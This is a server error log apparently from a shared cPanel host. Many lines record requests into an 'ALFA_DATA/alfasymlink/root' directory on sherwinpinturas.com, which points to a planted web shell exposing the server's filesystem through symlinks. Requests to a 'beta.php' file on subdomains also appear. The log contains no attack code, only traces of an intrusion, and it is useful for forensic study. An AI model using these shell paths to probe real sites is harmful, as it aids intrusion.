[Sun Oct 25 20:28:38.206666 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 3.210.114.189:41101] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:28:42.220548 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 18.205.91.101:37967] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:28:46.208870 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 44.209.35.147:56409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:28:48.220736 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 85.208.96.195:19460] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/objects
[Sun Oct 25 20:28:58.177250 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 34.239.85.139:40903] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:29:14.265732 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 100.29.128.75:25087] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:29:31.784202 2026] [core:error] [pid 2922285:tid 2922285] (13)Permission denied: [client 85.208.96.193:13134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/red_zone
[Sun Oct 25 20:29:38.362330 2026] [ssl:error] [pid 2926850:tid 2926850] (70014)End of file found: [client 18.233.24.238:21634] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:29:42.181352 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 44.206.93.215:8479] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:29:46.206587 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 44.193.102.198:50958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:30:06.154935 2026] [core:error] [pid 2921032:tid 2921032] (13)Permission denied: [client 35.169.119.108:55077] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/resource0
[Sun Oct 25 20:30:10.143515 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 34.231.45.47:8514] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:30:14.262699 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 44.221.180.179:51437] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:30:18.148536 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 107.22.208.39:37780] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:30:18.731913 2026] [ssl:error] [pid 2921032:tid 2921032] (70014)End of file found: [client 85.208.96.207:42618] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:30:30.161853 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 3.218.35.239:6275] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:30:38.152193 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 44.223.116.180:62958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:30:47.102648 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 18.211.148.239:20235] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:30:54.146964 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 52.202.52.82:15096] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:31:02.152181 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 98.83.10.183:59244] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:31:14.237122 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 35.171.117.160:38038] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:31:42.139817 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 44.223.116.149:23258] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:07/subsystem/devices/device:06/physical_node/driver/uevent
[Sun Oct 25 20:31:56.773840 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 85.208.96.212:18440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/seq_file/alloc_calls
[Sun Oct 25 20:32:14.164768 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 100.29.63.24:31156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:32:19.401193 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 85.208.96.206:52268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/trace
[Sun Oct 25 20:32:22.284882 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 100.25.120.246:23761] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:32:26.146668 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.196.237.236:42933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:32:30.128545 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 52.54.15.103:38470] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:32:46.177897 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 3.221.222.168:35446] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:33:02.139793 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 98.82.63.147:59929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:33:06.138355 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 18.205.91.101:21388] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:33:10.151456 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 44.209.187.99:38311] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:33:14.468245 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 44.212.131.50:8395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:33:18.150598 2026] [ssl:error] [pid 2923082:tid 2923082] (22)Invalid argument: [client 44.205.74.196:36915] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:33:21.632032 2026] [authz_core:error] [pid 2927273:tid 2927273] [client 20.53.239.152:13265] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 20:33:22.152456 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 18.213.102.186:59230] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:33:30.148360 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 35.171.117.160:17645] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty0/subsystem/ptmx/subsystem/ttyS0/line
[Sun Oct 25 20:33:38.253487 2026] [ssl:error] [pid 2925278:tid 2925278] (5)Input/output error: [client 100.25.120.246:47921] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:33:42.132958 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 34.236.41.241:4258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:34:06.190508 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 34.235.239.240:13060] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:34:07.415693 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 85.208.96.210:27578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-1k/free_calls
[Sun Oct 25 20:34:10.127775 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 3.232.82.72:15869] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:34:14.150527 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 107.22.208.39:31461] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/PNP0A03:00/device:0a/subsystem/drivers/thermal/uevent
[Sun Oct 25 20:34:22.207516 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 3.219.81.66:50944] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:34:26.130452 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 44.215.231.15:13942] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:34:54.288844 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 3.226.106.93:7456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/LNXCPU:00/physical_node/driver/bind
[Sun Oct 25 20:35:00.624583 2026] [core:error] [pid 2928659:tid 2928659] (13)Permission denied: [client 85.208.96.209:24106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_iattrs_cache/slabs
[Sun Oct 25 20:35:06.140733 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 52.73.6.26:26236] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:35:07.649240 2026] [security2:error] [pid 2922285:tid 2922285] [client 107.172.76.131:49679] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6gLkZ49PyiKUODFuf2wAAAABI"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 20:35:07.649288 2026] [security2:error] [pid 2922285:tid 2922285] [client 107.172.76.131:49679] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6gLkZ49PyiKUODFuf2wAAAABI"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 20:35:14.133769 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 23.21.175.228:2676] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:35:18.155967 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 34.233.114.237:30001] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:35:30.219082 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 54.167.32.123:4349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:35:32.489329 2026] [security2:error] [pid 2925075:tid 2925075] [client 16.216.88.4:20480] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/@babel/code-frame/LICENSE"] [unique_id "at6gVKMybP9Ij19IhRsCLgAAAAs"]
[Sun Oct 25 20:35:32.489434 2026] [security2:error] [pid 2925075:tid 2925075] [client 16.216.88.4:20480] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/@babel/code-frame/LICENSE"] [unique_id "at6gVKMybP9Ij19IhRsCLgAAAAs"]
[Sun Oct 25 20:35:42.238977 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 3.218.103.254:26291] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:35:50.170196 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 23.21.225.190:5255] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:36:02.154768 2026] [ssl:error] [pid 2923082:tid 2923082] (5)Input/output error: [client 23.22.105.143:27161] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:36:06.141953 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 34.203.111.15:20410] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:36:18.140017 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 34.231.156.59:22168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:36:25.808276 2026] [core:error] [pid 2930805:tid 2930805] (13)Permission denied: [client 85.208.96.207:27128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/validate
[Sun Oct 25 20:36:30.232072 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 18.206.47.187:20713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:36:34.149648 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 3.224.205.25:21370] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:36:42.307444 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 50.16.248.61:37534] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:37:02.135923 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 44.223.232.55:22043] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/devices/0000:00:01.1/remove
[Sun Oct 25 20:37:10.159311 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 50.16.216.166:25047] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:37:10.451773 2026] [security2:error] [pid 2928659:tid 2928659] [client 85.208.96.210:32472] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/flarum/php81/extend.php"] [unique_id "at6gtgPsVzpIp32jbe9E1QAAAAQ"]
[Sun Oct 25 20:37:10.451822 2026] [security2:error] [pid 2928659:tid 2928659] [client 85.208.96.210:32472] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/flarum/php81/extend.php"] [unique_id "at6gtgPsVzpIp32jbe9E1QAAAAQ"]
[Sun Oct 25 20:37:14.120850 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 52.21.62.139:29015] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:37:30.128846 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 54.83.23.103:53677] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:37:34.141403 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 3.222.190.107:50708] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:37:42.148582 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 52.3.127.170:2552] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:37:54.126025 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 52.71.218.25:31908] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:38:00.348149 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 185.191.171.12:63108] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-256/align
[Sun Oct 25 20:38:02.126466 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.234.197.175:51674] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:38:14.161123 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 3.232.102.111:25770] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:38:18.139275 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 34.204.150.196:40083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:38:22.350568 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 52.54.249.218:44513] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:38:46.174980 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 54.210.155.69:43563] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:38:58.195448 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 44.205.74.196:10833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:39:14.122516 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 52.71.216.196:63796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:39:22.250977 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 3.222.190.107:39093] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:39:23.038434 2026] [security2:error] [pid 2926323:tid 2926323] [client 16.216.88.171:28672] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/accessdb"] [unique_id "at6hOy7g7KvJoU2B-eLLJwAAAAY"]
[Sun Oct 25 20:39:23.038491 2026] [security2:error] [pid 2926323:tid 2926323] [client 16.216.88.171:28672] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/accessdb"] [unique_id "at6hOy7g7KvJoU2B-eLLJwAAAAY"]
[Sun Oct 25 20:39:26.169352 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 54.159.18.27:36976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:39:34.293978 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 44.210.204.255:58696] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:39:42.172711 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 34.194.233.48:64355] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/device/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/node0/compact
[Sun Oct 25 20:39:50.229773 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 34.236.41.241:62059] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:39:54.129835 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 34.195.60.66:3349] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:40:02.489970 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 52.45.194.165:54838] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:40:14.423386 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 98.84.184.80:4277] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:40:21.016165 2026] [security2:error] [pid 2919322:tid 2919322] [client 107.172.76.131:49663] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6hZpHo7mmwz2JULlItJAAAAAw"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 20:40:21.016212 2026] [security2:error] [pid 2919322:tid 2919322] [client 107.172.76.131:49663] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6hZpHo7mmwz2JULlItJAAAAAw"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 20:40:22.144001 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 54.225.148.123:29311] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:40:26.123230 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 50.17.193.48:18913] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:40:30.207963 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 52.21.62.139:56681] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:40:34.227220 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 3.231.193.38:59885] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:40:38.186870 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 34.225.138.57:63375] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:05.0/resource4
[Sun Oct 25 20:40:42.181415 2026] [ssl:error] [pid 2927273:tid 2927273] (5)Input/output error: [client 34.231.156.59:51468] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:40:58.138374 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 54.80.185.200:12812] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:41:02.147678 2026] [ssl:error] [pid 2925075:tid 2925075] (70014)End of file found: [client 54.84.161.62:40328] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:41:06.140116 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 23.23.213.182:16889] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:41:18.220633 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 98.84.184.80:1135] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:41:26.270669 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 52.200.93.170:32144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0e/subsystem/uevent
[Sun Oct 25 20:41:26.923271 2026] [core:error] [pid 2928659:tid 2928659] (13)Permission denied: [client 85.208.96.197:21046] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/modify_featurelist
[Sun Oct 25 20:41:30.138847 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 23.21.228.180:52527] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:41:37.449400 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 185.191.171.1:36368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/store_user
[Sun Oct 25 20:41:38.174107 2026] [ssl:error] [pid 2930805:tid 2930805] (70014)End of file found: [client 54.157.99.244:62829] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:41:42.137441 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 44.212.131.50:11825] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:41:46.133244 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 44.209.187.99:34957] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:41:54.194779 2026] [core:error] [pid 2930805:tid 2930805] (13)Permission denied: [client 44.223.193.255:14723] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/physical_node/node0/cpu1/crash_notes
[Sun Oct 25 20:42:02.163080 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 3.89.176.255:58533] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:42:06.135031 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 54.80.73.122:27224] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:42:14.255690 2026] [core:error] [pid 2927273:tid 2927273] (13)Permission denied: [client 3.226.34.98:5015] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty26/subsystem/ttyS0/iomem_base
[Sun Oct 25 20:42:14.256236 2026] [security2:error] [pid 2927273:tid 2927273] [client 3.226.34.98:5015] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty26/subsystem/ttyS0/iomem_base"] [unique_id "at6h5jmmX3asvCDITlDwZgAAAAA"]
[Sun Oct 25 20:42:14.256266 2026] [security2:error] [pid 2927273:tid 2927273] [client 3.226.34.98:5015] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty26/subsystem/ttyS0/iomem_base"] [unique_id "at6h5jmmX3asvCDITlDwZgAAAAA"]
[Sun Oct 25 20:42:18.139182 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 3.93.211.16:28453] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:42:22.144539 2026] [security2:error] [pid 2928659:tid 2928659] [client 44.196.118.6:13068] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory11/subsystem/devices/memory14/power/"] [unique_id "at6h7gPsVzpIp32jbe9E4AAAAAQ"]
[Sun Oct 25 20:42:22.144604 2026] [security2:error] [pid 2928659:tid 2928659] [client 44.196.118.6:13068] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/cpu/cpu1/node0/memory11/subsystem/devices/memory14/power/"] [unique_id "at6h7gPsVzpIp32jbe9E4AAAAAQ"]
[Sun Oct 25 20:42:26.142545 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 54.225.81.20:61502] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:42:34.193130 2026] [ssl:error] [pid 2928659:tid 2928659] (70014)End of file found: [client 54.144.185.255:42367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:42:54.223296 2026] [core:error] [pid 2928659:tid 2928659] (13)Permission denied: [client 44.196.118.6:13788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:03/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/module/uevent
[Sun Oct 25 20:43:06.144914 2026] [core:error] [pid 2928659:tid 2928659] (13)Permission denied: [client 35.169.119.108:50828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/cpu/devices/cpu0/node0/memory22/subsystem/drivers_probe
[Sun Oct 25 20:43:39.139456 2026] [security2:error] [pid 2922285:tid 2922285] [client 107.172.76.131:49679] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6iLEZ49PyiKUODFuf24QAAABI"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 20:43:39.139536 2026] [security2:error] [pid 2922285:tid 2922285] [client 107.172.76.131:49679] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6iLEZ49PyiKUODFuf24QAAABI"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 20:43:46.431149 2026] [security2:error] [pid 2925075:tid 2925075] [client 18.215.49.176:3284] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input0/device/subsystem/devices/device:01/physical_node/firmware_node/PNP0400:00/"] [unique_id "at6iQqMybP9Ij19IhRsCPwAAAAs"]
[Sun Oct 25 20:43:46.431183 2026] [security2:error] [pid 2925075:tid 2925075] [client 18.215.49.176:3284] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input0/device/subsystem/devices/device:01/physical_node/firmware_node/PNP0400:00/"] [unique_id "at6iQqMybP9Ij19IhRsCPwAAAAs"]
[Sun Oct 25 20:43:58.372312 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 44.193.102.198:29007] AH02013: coalesce failed to read from data bucket
